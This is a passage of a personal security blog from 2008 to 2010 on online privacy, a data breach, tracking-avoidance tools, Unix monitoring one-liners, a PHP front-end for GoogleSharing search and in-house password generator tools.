The big problem is with finding solutions. For you to individually protect yourself against the multiple methods of data collection is currently a huge burden. If you ever want to see just how big, come and check out my browser setup. The balance needs to be tipped, with companies bearing more of the costs of privacy, instead of it all resting on the consumer. In the meantime, if you're a web developer, start thinking about whether you really need to hand so much of your users' data over to third parties. At the very least, it will result in faster page loads. In the meantime, while us consumers wait for privacy legislation to catch up, there is some help in the form of browser add-ons. For example, AdBlock (Chrome, Firefox) will cut out a lot of the third parties, and not impact your ability to see the content (i.e. no cost to you), in fact things look cleaner and load faster. This is the only way we can vote with our money and attempt to force a change in just how much privacy invasion needs to occur for something as uninteresting to the worlds problems as targeting advertising.

Planet Fitness & Temporarily Legal Near-Extortion

nospam@example.com (Dominic White) — Wed, 22 Sep 2010 09:49:16 +0200

I was woken up by a message from Planet Fitness this morning, informing me that the contract I though had expired in Aug 2009 had happily been renewed each month and I now owed them a large sum of money. I was not informed of any of this, and have not attended a Planet Fitness gym since 2009. While the guy on the line agreed this was pretty dodgy, "It's in your contract," he says without having a copy of my contract. So, now I'm waiting to see this contract while they look for it. In the meantime, I was cheerily informed that if I rejoin the gym, then will write the debt off, or if I pay half I will get 6months "free" and the rest written off. Better yet, while the system says I owe Rxx.xx, the consultant through the use of his calculator assures me I actually owe Rxx.xx * 1.5. Nice to know their billing systems are as dodgy as their customer service.

Are Planet Fitness that desperate for money and customers that they will engage in sneaky money collection, and expect those affected to rejoin with them? I hear other gyms and service providers engage in similar dodgy tactics. Have you been affected, if so please comment with the name of the service provider so we can keep a list of these people. Thankfully, the soon to be passed, Consumer Protection Bill will outlaw this practise, but it appears at least Planet Fitness is looking for one last hurrah.

A Response to Paul Rubin's "Ten Fallacies About Web Privacy"

nospam@example.com (Dominic White) — Tue, 31 Aug 2010 20:40:00 +0200

Paul Rubin had a piece in the Wall Street Journal describing 10 fallacies of Web Privacy. This is my response, and the start of my blogs official "privacy" category.

1) Privacy is free. Many privacy advocates believe it is a free lunch‚ - that is, consumers can obtain more privacy without giving up anything. Not so. There is a strong trade-off between privacy and information: The more privacy consumers have, the less information is available for use in the economy. Since information helps markets work better, the cost of privacy is less efficient markets.

There are two problems with this statement. The first counter-fallacy is the idea that more information, any information, makes markets work better; that just isn't true. Take a simplistic example of someone who signs up for a golf magazine and is then spammed by so many adverts for golfing gear that they train their spam filter to block it. The company got some information, used it inappropriately, leading to the client making fewer purchases for no better reason than too much advertising. What's needed is a mechanism for the right (i.e. necessary to enable consented activities in the consumers interest) information to get to the right companies (i.e. not spammy affiliates or surveillance groups). This is exactly what privacy advocates are working for currently; what controls can enforce this rather than the overly permissive current state.

The second problem is that the cost goes both ways. Right now a consumer has to spend the effort in enforcing their privacy. The current technical complexities of, for example, ensuring cookies for services you use, are not used to correlate your identity across affiliate sites, is high and only performed by the few who understand the implications and care enough to do something about it. Thus, the cost (understanding, technical ability, actual work required) is too high for many consumers to reasonably enforce their own privacy. This cost needs to shift to companies in order to achieve a more reasonable middle ground.

2) If there are costs of privacy, they are borne by companies. Many who do admit that privacy regulations restricting the use of information about consumers have costs believe they are born entirely by firms. Yet consumers get tremendous benefits from the use of information.

Think of all the free stuff on the Web: newspapers, search engines, stock prices, sports scores, maps and much more. Google alone lists more than 50 free services‚ - all ultimately funded by targeted advertising based on the use of information. If revenues from advertising are reduced or if costs increase, then fewer such services will be provided.

I don't see fewer services, in return for more control of what information is collected and how it is used, as a poor trade off i.e. it's a cost most consumers would be willing to bear. If anything, efficiencies may be generated in the market with weaker services that exist purely as third party data collection points (e.g. spammers, personal data warehouses (e.g. Axciom) and other organisations that end up with data from our primary service providers that we would prefer didn't) being weeded out. It would be hard to argue that more privacy would result in all information supported services disappearing.

3) If consumers have less control over information, then firms must gain and consumers must lose. When firms have better information, they can target advertising better to consumers‚ - who thereby get better and more useful information more quickly. Likewise, when information is used for other purposes‚ - for example, in credit rating‚ - then the cost of credit for all consumers will decrease.

Giving consumers more control of their information does not lead to firms having worse information. If anything the firms are likely to have access to higher quality information and avoid many of the poor inferences current data sets lead to (e.g. googling for "bomb making" means you're a terrorist). The key quality differentiator is that a consumer can target the intended use with the right information, due to the disclosure of intended use by the firm when gathering consent. The current situation is more akin to my bank knowing my shoe size, just because they can, and sharing that with affiliates; rather than the bank collecting credit rating specific data for their own calculations.

4) Information use is "all or nothing." Many say that firms such as Google will continue to provide services even if their use of information is curtailed. This is sometimes true, but the services will be lower-quality and less valuable to consumers as information use is more restricted.

For example, search engines can better target searches if they know what searchers are looking for. (Google's "Did you mean . . ." to correct typos is a familiar example.) Keeping a past history of searches provides exactly this information. Shorter retained search histories mean less effective targeting.

Once again, we have the counter fallacy: "more information == higher quality service" coupled with a misunderstanding of what sort of control privacy advocates are looking for.

First, a large amount of information currently collected is not collected for direct use with that service; while Google search does collect your search term, it also correlates that use with other services. If Google were to say "we collect exactly this information for this specific purpose, if you don't like it leave" that would be a huge improvement over the current vague statement of "we collect some information, we share some of it, if you don't like it leave, but we'll still try to track you around the web."

Second, privacy advocates, for the most part, have no problem with Google collecting search terms and using that data for the typo correction example above. The problem is strongly associating those terms with an identity and then barely anonymising them. It would be quite possible for Google to collect the search terms and provide typo correction without knowing UserX searched for that term.

5) If consumers have less privacy, then someone will know things about them that they may want to keep secret. Most information is used anonymously. To the extent that things are "known" about consumers, they are known by computers. This notion is counterintuitive; we are not used to the concept that something can be known and at the same time no person knows it. But this is true of much online information.

This "fallacy" is phrased incorrectly. It should be "If consumers have less privacy, then someone *could* know things about them they may want to keep secret." This is not a fallacy. Sure, for the most part there isn't a sweaty sysadmin reading each of my Yahoo mails (although research by others suggests there may be), but if a sysadmin/private investigator/government organisation wanted to they could. If the information is stored and identified then at some point someone will want to consume it. My experience in information security tells me that you can't provide perfect protection, and as the Saudi/RIM lawful intercept saga indicates, gov pressure to be able to violate your privacy/secrecy/confidentiality wins. As the Google/China hack indicates, lawful intercept gets used by the bad guys too.

What's more, the advanced data analytics performed by the likes of Facebook and Google allow additional secret information, that you may not have intentionally disclosed about you, to be discerned. In short, if the information isn't stored, it can't be compromised.

6) Information can be used for price discrimination (differential pricing), which will harm consumers. For example, it might be possible to use a history of past purchases to tell which consumers might place a higher value on a particular good. The welfare implications of discriminatory pricing in general are ambiguous. But if price discrimination makes it possible for firms to provide goods and services that would otherwise not be available (which is common for virtual goods and services such as software, including cell phone apps) then consumers unambiguously benefit.

It may be because I'm not an economist but it sounds like Rubin makes a weak point (coupled with my observation in parenthesis) here: "Differential pricing is bad (mostly to the poor), but some good could come from it (mostly to the rich), so it's okay." The way I see it, if one side has perfect information about the other, but not vice versa, then the negotiation is flawed and will not work to mutal benefit. Even if you could argue that this is not true, people who take steps to prevent their information from being collected and tagged with their identity would be in a stronger bargaining position and would benefit more than the consumers who didn't.

7) If consumers knew how information about them was being used, they would be irate. When something (such as tainted food) actually harms consumers, they learn about the sources of the harm. But in spite of warnings by privacy advocates, consumers don't bother to learn about information use on the Web precisely because there is no harm from the way it is used.

It's true, harm from privacy violations is difficult to asses. If only someone wrote a book about it providing some sort of comprehensive taxonomy of privacy harms. In short, it is very short sighted of Rubin to claim that violations of online privacy cannot lead to harm.

8) Increasing privacy leads to greater safety and less risk. The opposite is true. Firms can use information to verify identity and reduce Internet crime and identity theft. Think of being called by a credit-card provider and asked a series of questions when using your card in an unfamiliar location, such as on a vacation. If this information is not available, then less verification can occur and risk may actually increase.

The panopticon is a well understood and flawed model. Giving firms and governments all the information reduces consumer liberty and gives firms/governments all the power. There needs to be a balance; banks can't have "anonymous" banking with them, and governments can't allow "anonymous" through their borders. However, governments shouldn't be able to ask banks about all their customers because they feel like create some sort of creepy total awareness office. If anything allowing consumers more control over their information and firms/governments less control makes it easier for consumers to keep those firms/governments honest leading to a more efficient market.

9) Restricting the use of information (such as by mandating consumer "opt-in") will benefit consumers. In fact, since the use of information is generally benign and valuable, policies that lead to less information being used are generally harmful.

I'm calling wild assertion on this one. While the mass of information gathered is likely used for benign purposes, the exceptions which cause harm and the potential for this harm to occur if no controls are in place, is enough to justify their existence. That's why even though the majority of the populace don't commit crimes, we still have police for the few who do.

10) Targeted advertising leads people to buy stuff they don't want or need. This belief is inconsistent with the basis of a market economy. A market economy exists because buyers and sellers both benefit from voluntary transactions. If this were not true, then a planned economy would be more efficient‚ - and we have all seen how that works.

If Communism is to economists as Nazism is to moralists, then I'm calling Godwins Law (I know, I lose). That being said, I'm not going to defend this point, as it's a dumb one. Targeted advertising is much better than untargeted advertising. Guess what's better for the consumer? NO ADVERTISING coupled with easy ways of finding out information on products they actually want to purchase. The only reason I allow advertising (and sometimes click the ads) is for sites I want to support who use ad-revenue, for the rest, there's ad block. But I try not to let any of them profile me to offer targeted ads, yet somehow I am still fully empowered to both find products I want, research them in detail and purchase them from companies selling them.

This brings us to the end. In short, I disagree with everything Rubin says. He misunderstands that privacy advocates are looking for a balance of controls, not extremes, and makes unvalidated assertions about how information inherently leads to all sorts of good economic things. He also fails to consider abuses of information, which are the specific cases privacy advocates are trying to protect against.

Information Security South Africa (ISSA) 2010

nospam@example.com (Dominic White) — Tue, 10 Aug 2010 22:06:00 +0200

This is a cross-post from my other blogging home at SensePost.

Last week we presented an invited talk at the ISSA conference on the topic of online privacy (embedded below, click through to SlideShare for the original PDF.)

The talk is an introductory overview of Privacy from a Security perspective and was prompted by discussions between security & privacy people along the line of "Isn't Privacy just directed Security? Privacy is to private info what PCI is to card info?" It was further prompted by discussion with Joe the Plumber along the lines of "Privacy is dead!"

The talk, is unfortunately best delivered as a talk, and not as standalone slides, so here's some commentary:

We start off the problem statement describing why privacy has grown in importance. The initial reactions were based on new technology allowing new types of information to be captured and disseminated. While the example given is from the 1980s, the reaction is a recurring one, as we've seen with each release of new tech (some examples: Cameras, Newspapers, Credit Cards, The Internet, Facebook). Reactions are worsened by the existence of actors with the funding & gall to collect and collate much information to further potentially disagreeable goals (usually Governments). However, the new threat is that there has been a fundamental shift in the way in which we live our lives, where information about us is no longer merely *recorded* online, but rather, our lives are *lived* on line. It is quite possible that for an average day, from waking up to going to sleep, a significant number of the actions you perform will not only be conducted (in part) online, but that it is possible for them to be conducted using the services of one service provider. My intention is not to beat up on Google, but rather use them as an example. They are a pertinent example, as every business book seems to use them as one. The, arguably, most successful corporation of our current age's primary business model is the collection & monetisation of private data. Thus, while Google is the example, there are and will be many followers.

The next section moves into providing a definition of privacy, and attempts to fly through some fairly dry aspects of philosophy, law & psychology. We've done some entry-level work on collating the conception of privacy across history and these fields, however, brighter minds, such as Daniel Solove and Kamil Reddy have done better jobs of this. In particular, Solove's paper "I've got nothing to hide", and other misconception of privacy is a good introductory read. The key derived point however, is that private data is data with an implied access control & authorised use. Which of the implied access controls & authorised uses are reasonable to enforce or can be legally enforced is a developing field.

As the talk is about "Online Privacy" the talk moves into a description of the various levels at which private data is collected, what mechanisms are used to attempt to collect that data, and what sort of data can be gleaned. It was an academic conference, so I threw in the word "taxonomy." Soon, it will be more frequently quoted than Maslow's Hierarchy, any day now.

At each level, a brief demonstration of non-obvious leaks and their implications was demonstrated. From simple techniques such as cross-site tracking using tracking pixels or cookies, to exploit of rich browser environments such as the simple CSS history hack, to less structured and less obvious leaks such as search data (as demonstrated by the AOL leak), moving to deanonymisation of an individual by correlating public data sets (using the awesome Maltego) and finally to unintended leaks provided by meta-data (through analysis of twitter & facebook friends groups).

Finally, a mere two slides are used to explain some of the implications and defenses. These are incomplete and are the current area of research I'm engaged in.

Online Privacy, the next Battleground

Breach at iContact exposes my (and your) details to Spammers

nospam@example.com (Dominic White) — Tue, 02 Feb 2010 08:25:09 +0200

This week something special happened, something I'd been saving for the right person, something magical. Today, hackers took my private data. Everything's changed, I feel like a part of the world, connected to so many other people who have shared in this experience. Today, I'm a woman! (Ok, I may have gone a bit far with that last bit)

The skinny is that I use unique e-mail addresses for each service provider that I want to continue communicating with (for the ones I don't I use one-shot addresses). I noticed on the weekend that I was being deluged with pharmaceutical spam to three of these addresses, namely my Threadsy, Numbuzz & Share-it (via a product I bought there, ChatterBlocker) contacts. This lead me to tweet: "Either a security or ethics breach at @threadsy & @nimbuzz Getting Viagra spammed hard on the unique e-mail addresses I gave them."

Chatterblocker got back to me with the equivalent of "What? Wasn't me." Scott Kendall from Threadsy jumped into an investigation however and contacted me for more details. He also passed on results of his investigation to Nimbuzz, much kudos. Scott then informed me this morning that there has been a breach at iContact, evidently a shared service provider to the affected entities, resulting in the theft of customer contact details that must have been sold to spammers (or by a horizontally integrated crime crew). We're assured by iContact that only our e-mail addresses were stolen. However, we're not given any reason to believe that; unless the data is segmented somehow I don't see why an attacker wouldn't take the whole caboodle.

What concerns me is first that I wasn't even aware I had a relationship with iContact. A quick look of the websites of Threadsy and Nimbuzz don't make reference to them apart from the generic "we may share your data with business relevant third parties" in the privacy policy. Even if it is made explicit in the privacy policy, it doesn't mean you understand it, take this Facebook friendlist leak for example. Maybe if we had a "nutritional label for privacy" with disclosure of who the third parties were I would feel more in control of my data and more importantly the decisions I make.

Second, I'm not aware what data of mine had been given to iContact and what could potentially be at risk. Was it just my contact details, or did it include behavioural data too? Even if I can't do anything about it, I'd like to know what was breached with some solid factual basis. More importantly, I'd like to see what is shared with the third-party up front. I believe the small externality of writing that down in human readable and explicit form may encourage service providers to limit it.

Third, this was a consumer-lead breach-discovery. People with custom e-mail addresses tracked the source and informed iContact they had a breach. We see the same thing with credit card breaches, and with the likes of Google notifying other companies that the APT (do I get points for using it?) got them too. Is it any wonder those are the breaches we see frequently reported. IT shops usually aren't aware they've been breached until an affected third party tells them.

In conclusion, if you're getting spammed hard with pharmaceutical spam, this is probably why. There's nothing you can do about it, and there's probably a near infinite number of variations of your private (by which I mean data you don't want publicly exposed) data floating around at service providers you know nothing about that doesn't have the same canary-in-a-mine like properties that can make you (and hence the service provider) aware of the breach. Good luck.

Scroogle is Dead, Long Live GoogleSharing

nospam@example.com (Dominic White) — Mon, 05 Jul 2010 08:39:55 +0200

Scroogle is no longer working for the second time this year (I archived the announcement at the end of this entry). The author claims Google deliberately killed the simple interface they were using. I've e-mailed to point out that Google Custom search works fine, but relying on Scroogle isn't going to cut it anymore. The obvious solution is to use GoogleSharing. However, not all devices support it due to the requirement of a Firefox plugin; my phone for example. After meeting Moxie I discussed the idea of including a search interface with the GoogleSharing server. The idea would be that <googlesharing server>:<port>/search would provide a plain HTTP interface to search through the server.

As a precursor to this, I did some playing and realised (later than most it seems) that the GoogleSharing proxy implements a straight HTTP 1.1 proxy. A few quick lines of code, thanks to some help from Andrew Mohawk due to some gzip'ed return data trouble, and you have a very simple PHP interface to GoogleSharing:

<?php
ini_set("user_agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://www.google.com/custom?q=" . urlencode($_REQUEST['q']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_PROXY, "http://proxy.googlesharing.net");
curl_setopt($ch, CURLOPT_PROXYPORT, 80);
curl_setopt($ch, CURLOPT_ENCODING , "gzip");
$x = curl_exec($ch);

print $x;

curl_close($ch);
die();
?>

My only worry is that I've been down this road before, 5 years ago, and I want things to happen a little differently this time. What happened then is thousands of porn sites hosting malware decided that privacy enhanced search was just what their customers needed. This resulted in Google seeing several hundred malware infested links linking back to this site. The net result was that I dropped out of Google completely (with no warning or explanation of course). So my intention is not that you use my search interface. That's stupid anyway as you have no reason to trust that I'm not mining your search data. So here is a tarball that can be used to set up your own PHP front-end. You'll need a PHP-enabled webserver with curl. The readme has more.

Archived Scroogle Announcement

July 1, 2010: Here we go again...

We regret to announce that our Google scraper may have to be permanently retired, thanks to a change at Google. It depends on whether Google is willing to restore the simple interface that we've been scraping since Scroogle started five years ago. Actually, we've been using that interface for scraping since Google-Watch.org began in 2002.

This interface (here's a sample from years ago) was remarkably stable all that time. During those eight years there were only about five changes that required some programming adjustments. Also, this interface was available at every Google data center in exactly the same form, which allowed us to use 700 IP addresses for Google.

That interface was at www.google.com/ie but on May 10, 2010 they took it down and inserted a redirect to /toolbar/ie8/sidebar.html. It used to have a search box, and the results it showed were generic during that entire time. It didn't show the snippets unless you moused-over the links it produced (they were there for our program, so that was okay), and it has never had any ads. Our impression was that these results were from Google's basic algorithms, and that extra features and ads were added on top of these generic results. Three years ago Google launched "Universal Search," which meant that they added results from other Google services on their pages. But this simple interface we were using was not affected at all.

It is not possible to continue Scroogle unless we have a simple interface that is stable. Google's main consumer-oriented interface that they want everyone to use is too complex, too bloated, and changes too frequently, to make our scraping operation possible.

After a lot of suggestions from Scroogle users, and a fair amount of publicity, we found a fix and Scroogle was back in 24 hours. This fix was to insert an extra parameter, &output=ie, into the search terms that were relayed to Google. The extra parameter recovered the same interface that we thought was gone forever.

Now it seems like it actually might be gone forever. Late on June 30, 2010, the results produced while using this parameter began to shift to the usual busy Google interface with ads and a left-margin sidebar. Scroogle users saw a Scroogle page that said, "Google returned no results for this search," when in fact Google returned results but our scraper was unable to deal with them. Over the next few days we will attempt to contact Google and determine whether the old interface is gone as a matter of policy at Google, or if they simply have it hidden somewhere and will tell us where it is so that we can continue to use it.

Thank you for your support during these past five years. Check back in a week or so; if we don't hear from Google by next week, I think we can all assume that Google would rather have no Scroogle, and no privacy for searchers.

— Daniel Brandt, Public Information Research, scroogle AT lavabit.com

Avoid Cross-Site Tracking with Stainless.app (and others)

nospam@example.com (Dominic White) — Mon, 03 May 2010 23:47:53 +0200

For years I've had a tinfoil dilemma. I know that companies trying to own the internet love dropping cookies, and then using those cookies to track you around the tubes. It started with the advertisers like DoubleClick who would drop their cookie, then rely on their distribution of banner ads. Every time your browser hit a page with one of their banner ads, it would send it's cookie along and help them track you around the internet.

This problem was mostly easy to solve by blocking third-party cookies, i.e. cookies for domains other than the page you are on. Things got a bit self-moderating too when the Network Advertising Initiative's members decided to push for tracking opt-out. This spawned tools like the Targeted Advertising Cookie Opt-Out which let's you opt-out of all the advertisers you can (currently at 90). There's problems with both of those options, but they at least provide mostly n00b-proof privacy. For the slightly less n00by Firefox add-ons like CookieSafe provide default-deny with one-click enable capabilities to drastically reduce the number of cookies you find in your jar.

The problem came in with providers who try and rule the world, while providing services I want to use. The most obvious of these is Google. When I first started using Gmail, I realised that Google forced you to accept a cookie from google.com to use the service, and you couldn't just accept cookies for mail.google.com. What's more, Google's code, either in the form of AdWords or Analytics is embedded on most of the internet, and I use several of their other services like Search & YouTube. This means that I have to accept their root, long expiring cookie and have my browser regularly send it to Google associated to my Google account identifying nearly every page I'm on.

My solution to this problem was previous in two parts. The first was to make sure than any "logged on" interactions I had with Google were in a separate Firefox profile. This ensures that the necessary google.com cookie set there would be isolated from my usual surfing. The second part was to limit my direct use of Google services. This lead me to Scroogle, a privacy enhancing Google scraper; and GoogleSharing.net, Moxie's identity randomizer for Google services. That meant that I could happily never have a google.com cookie set in my main browser, except in a isolated Firefox profile.

However, recently, the next challenge for the internet has created a new problem, Facebook. Facebook's recent salvo to rule the internet has lead to a plethora of sites embedding Facebook scripts in their pages for their like buttons. This means I am faced with the same problem as Google, a site I regularly log-in to, which sets a cookie strongly associated to my identity, and is regularly sent to the provider as I surf the internet. Initially, I just added Facebook to my isolated Firefox profile. However, this is where I discovered Stainless.app

Stainless.app is a very simple web-browser build off WebKit. Their key feature, is that they take Google's Chrome browser's per-tab process+sandbox a bit further providing per-tab sessions. What this means is that each tab (or sub-tabs you choose to spawn from it) is a self-contained session, and a cookie for google.com or facebook.com set in the one tab, would not be available to the next tab. This provides a per-default session isolation, preventing cookies from existing across a browser session, and not just cookies, sessions. Thus, if I were to log in to Facebook and have a cookie set for facebook.com, navigating to memeburn's website will mean the included "like" button's script won't be able to query that cookie, and will set a whole new one.

What's more, is that this buys you some security too, and has the potential to kill authenticated CSRF as an attack vector (by itself, but "please log in" style CSRF's would still work), because the tab you open up the CSRF attack in, wouldn't have access to your logged in session in another tab.

To enable this, you will need to install Stainless.app (OSX currently), then set Preferences -> Security -> "Create new single session tabs by default", and restart the browser.

Unfortunately, in using Stainless, I loose the ability to block third-party cookies entirely (they are still set, just per tab), the ability to block ads with AdBlock Plus and the extra security afforded by NoScript. The first isn't a big problem, given the built in isolation, the second can be somewhat recreated with Squid(or SquidMan for OSX)+SquidGuardian+Easylist, and the third, we'll just have to wait.

In short, this means I can consolidate into one default browser profile for by usual browsing, but I'll still need Firefox for anything else.

Privacy Enhancing Techniques

nospam@example.com (Dominic White) — Mon, 15 Sep 2008 21:30:30 +0200

Ritasha Jethva, our Privacy & Data Protection competency lead added some nice tips to a publicity piece that made it otherwise more useful than it would have been. I'm republishing them here along with some other stuff I've found of late.

You may already be a victim of identity theft if:

Items have appeared on your bank or credit-card statements that you do not recognise.

You've applied for medical or other benefits but are told that you are already claiming.

You've received bills, invoices or receipts addressed to you for goods or services you never purchased.

You've been refused a credit card or loan, despite having a good credit history.

A mobile-phone contract has been set up in your name without your consent.

You have received letters from lawyers or financial institutions for debts that aren't yours.

Mail expected from key organisations the likes of your bank have not arrived, or even if you are not receiving any mail correspondence at all.

The following tips will help you protect your identity and prevent criminals from committing fraud in your name:

Turn off extra features in any technology that you aren't using.

Always think before you click or press a button; personal awareness is key.

Don't throw away entire bills, receipts, credit-or debit-card slips, bank statements or even unwanted post in your name. If you do need to destroy unwanted documentation, do so using a shredder if possible.

Keep your personal documents in a safe place, such as a lockable drawer or cabinet.

Be vigilant around what you publish about yourself, especially on internet sites.

If your passport, ID book or drivers licence has been lost or stolen contact the issuing organisation immediately.

Keep your passwords safe and never record or store them in a manner which leaves them open to theft, such as in your purse or wallet.

Check statements as soon as they arrive. If any unfamiliar transactions are listed, contact the company concerned immediately.

Never divulge personal information via email or sms' no matter how trustworthy the request may appear to be

Then, to add some stuff I've picked up (mostly from a technical level) that has worked well:

Give out as little information as you need to, just because they ask for your phone number on the form, doesn't mean you need to give it. Apply your intelligence to when this is appropriate, you will always need to give some people some information. Yusuf, for example has lots of fun signing into 'front-fence security' with ridiculous names that should trigger any half conscious security guards spidey sense, such as "Osama bin Laden" (he has yet to be called on it).
You can easily pulp lots of bills by putting them in a bucket or sink with hot water and a solvent (ammonia-based cleaners work well). It is much easier than ripping up each bill into tiny bits.
My new favourite temporary e-mail service is Guerilla Mail, especially since TemporaryInbox and Mailinator rarely have mail successfully delivered to them (likely blocked thanks to spammers). Also, keep your eyes on stuff like Jangl for a telephonic equivalent. US users can use inumbr now.
AdBlock Plus has always been a great way to block adverts which usually try and invade your privacy in new and exciting ways, including delivering malware. However, I've recently discovered the element hiding helper extension to AdBlock, which makes quickly nuking ads placed in-line (e.g. FaceBook's ad sidebar) quick, easy and permanent.
NoScript is pretty much standard for members of the security community, but I particularly love that I can block third party JavaScript (e.g. Google Analytics) and it's interrogations, and one click can enable it if necessary and temporarily if so wished.
Cookie blockers are also useful. I prefer CookieSafe which operates much the same as NoScript.
Read your e-mail in plaintext, tracking <img>'s are regularly used. It will also stop you from writing irritating and/or poorly structured mail.

Monitoring your Laptop/Desktop Processes Reduces Frustration

nospam@example.com (Dominic White) — Sun, 28 Jun 2009 06:10:01 +0200

Using a computer can be frustrating; you click on something and it doesn't complete as fast as it usually does, and you don't know why. Advanced users tend to look at their CPU usage, to provide some form of explanation. "Oh look, my CPU is really busy, that's why stuff is slow." This is often turned into a widget/gadget/screenlet that sits on their desktop blinking the current CPU usage.

More advanced users like to know what is nailing their CPU, and have some form of hotkey of screen widget nearby to tell them. But sometimes it takes too much effort for the computer to show you this application while it's thrashing away and I've been looking for a nice unobtrusive on-screen "gadget" that gives me all the information I need. After going through hundreds of windows sidebar gadgets, Mac widgets and now Gnome screenlets, I've hit on a winning strategy (for Linux, but the concept remains the same).

I'm using a semi-transparent Output screenlet to display the contents of the following command in Linux, and GeekTool to do the same on OSX:

GNU/Linux: top -b -n1 -s -i | head -n9 | tail -n3 | grep -v " top " | cut -b1-16,42-50,61-80
BSD: top -R -u -i100 -l2 -ncols 3 | grep PID -A5 | tail -n6

People often forget that disk IO is also an important indicator. Sometimes your CPU usage is moderate but your computer is frozen while your disk thrashes away. So I have a second screenlet with the output of (I don't have one for OSX yet):

iotop -n1 -b -o | grep -v "Total DISK READ:" | cut -b1-38,55-80

What does this buy me? Well, with a quick glance I can find out what process is currently killing my CPU or disk. It also includes the PID for quick "kill" or "renice" access (transparent terminals make reading the PID easy). Additionally, in a few weeks, it has given me a far greater understanding of how applications on my computer work and interact with others. For example, Crossover Office (aka wine) makes Xorg flatline a CPU core when it starts a new wineserver (I blame compiz funkiness). I don't actually care about that, what I do care about is I now know how and when to expect delays when starting crossover apps. The end result of this overcomplicated explanation is that the frustration of using a computer has significantly decreased now that I know what to expect.

Also, when I invariable break something, these strings will be here for me to copy paste back into existence.

ZaCon II CFP Closes on Fri

nospam@example.com (Dominic White) — Thu, 19 Aug 2010 10:09:11 +0200

The ZaCon II CFP is nearing it's closure date (tomorrow!), and this is an overt reminder to all of you thinking about submitting to do it. ZaCon is a great place to either give your first infosec presentation or deliver a tech-heavy presentation to a receptive crowd. All you need do is submit a short abstract to abstracts@zacon.org.za and if your submission is accepted, prepare and deliver a presentation. You don't even need to write a paper. If that isn't lowering the barrier to entry enough, then you're just lazy :)

If my submission is accepted (heavy bribery underway), then I'm hoping to set up an infosec BP-style debate, and will be approaching some of you "I'm smart but never share that outside the office" types to get involved, and hopefully have some fun.

You can read more of my thoughts on ZaCon here. Also, at some indeterminate point in the future, some ramblings about ZaCon will appear in episode 18 of Let's Talk Geek.

Simple IF: IP list - the Unix way

nospam@example.com (Dominic White) — Tue, 22 Jun 2010 21:57:34 +0200

I just want a simple display of the interfaces on my system and their IPs. I was in a rush and came up with that disgusting line. On the one hand it demonstrates the power of Unix, on the other hand it demonstrates the problems with it. So, dear interwebs, please provide me with (in order of preference):

A better way of doing it (I'm thinking sysctl, [I'm on a Mac])
The right command line magic to get better greppable output from ifconfig
An optimised command line, specifically:

How can you combine the multiple "grep -v" commands?
How can I combine the sed & tr commands?

Failing that, here's a command you too can use to give you a fragile list of interfaces and their ipv4 addresses. I've embedded it on my desktop with GeekTool (OSX). It makes the FW logs also embedded on my desktop make more sense :)

UPDATE: I love you my fellow Geeks. The winning solution is from Craig Balding via twitter, who put us all to shame with the ridiculously simple piece of cli kung-fu that is:

ifconfig|awk '/mtu/ {nic=$1} /inet / {print nic " " $2}'

Notable mentions to:

Doug Burks who initially came up with both the shortest, easiest to read & least fragile solution with a combination of (1) & (2). However, it was noticeably slower than the others due to awk. At only 2chars longer, but faster, my modification of his is:

for i in `ifconfig -lu`; do echo -n $i:\ ; ifconfig $i |grep inet\ |grep -o "[1-9][^ ]* " | tr -d '\n'; echo; done

Rogan Dawes who greatly optimised ala (3) (with some ugliness from mine to make the tuples take one line):

Haroon Meer who aimed for (1) using OSX's networksetup. However, networksetup doesn't list all interfaces (e.g. the vmware interfaces). Also, combing the output to one line per tuple is a pain.

Password Strength Checker & Generator

nospam@example.com (Dominic White) — Tue, 04 May 2010 18:49:39 +0200

This has been reposted from it's original at my new second blogging home at SensePost.

In my previous role working as a security manager for a large retailer, I developed some password tools for various purposes, primarily to help non-security people with some of the basics. I licensed them under the GPL, and I think it's about time they saw the light of day.

There are a couple of tools, which I will explain below. They're all written in JavaScript, primarily because it is cross-platform, but can be centrally hosted. They all work in Firefox and Internet Explorer, although the automatic copy to clipboard functionality of the service desk tool is IE only.

The intention is for the tools to be placed into your organisation's intranet somewhere. I found they came in much use, allowing me to reference a specific tool and setting rather than esoteric password theory in documents. For example, security standards documents would say "Service account passwords should either be generated by the password generator set to the service account setting, or be rated as "very strong" by the password strength checker", which is far more practical than quoting a list of password rules.

Being centrally hosted also allows updates to be made immediately in the case of a policy change, new common password addition, or bug. This also allowed web logs to provide an audit trail of who was using the tools. Particularly useful in the case of monitoring service desk activity e.g. If the service desk records 100 password resets, and the tool only saw 10 hits, you know something's up.

If you're a tactile learner, you can grab them here.

Password Strength Checker

This tool was written in response to the poor attempts at password strength checkers seen on many sites. They do basic checks for upper, lower-case characters and numbers. This allows passwords like "Password1" to be marked as "strong." Primarily based on Tyler Atkins' entropy and common word checker, I put together a more advanced utility. This will check the chosen password for:

Length (over 8 characters)
Character sets (lowercase, uppercase, numbers, special characters)
Frequency (checks for common sets of characters e.g. "u" following "q", biased to English)
Common Words (checks that common words aren't used e.g. Password1)

I've added a progress bar from Gerd Riesselmann, and a key for guidance. I've also eased the password strength requirements to better fit reasonable corporate password policies. These can be easily modified in the code though.

There are two versions provided, one which displays the results of the entropy calculations, and one which does not (user's rarely care).

Password Generators

There are three password generators, each with a different audience in mind.

Full Password Generator

The full password generator is the most complex and has a number of features:

Generate random passwords of varying complexity based on a "usage" selector such as "user", "administrator" or "service account". These match up to the complexity key in the strength checker.
Generate lists of passwords to be used as distributed One-Time-Password lists. This is useful if passwords are regularly required between two parties to avoid using a static password. The list can be delivered via an alternative medium than the data being transmitted, and an agreed rotation period set up, such as a new password to be used "every day" or "every week".
Create a NATO alphabet version of the password for speaking over the phone with the "will be spoken" option

The actual password generation code was courtesy of the no-longer-available CryptoMX tools, and the NATO alphabet conversion code was courtesy of L. Bower.

Service Desk Password Generators

The service desk password generators were created to help the service desk stop resetting everyone's password to the same thing. It's one of the most pervasive security problems in any organisation, the service desk are told to reset passwords to some common password like "abc123", "Password<x>" or "<username>". Most user's know it, and if you do ever investigate service desk password resets, will find some serious abuses going on. This tool is a quick and dirty way to provide more reasonable alternatives for the service desk to use.

It's basic features are:

A very simple interface and instructions
A basic and somewhat unique password is generated
A "pronounceable" version of the password is created in the NATO alphabet for speaking over the phone
The password is copied to the clipboard (IE only) for pasting into whatever reset tool is in use

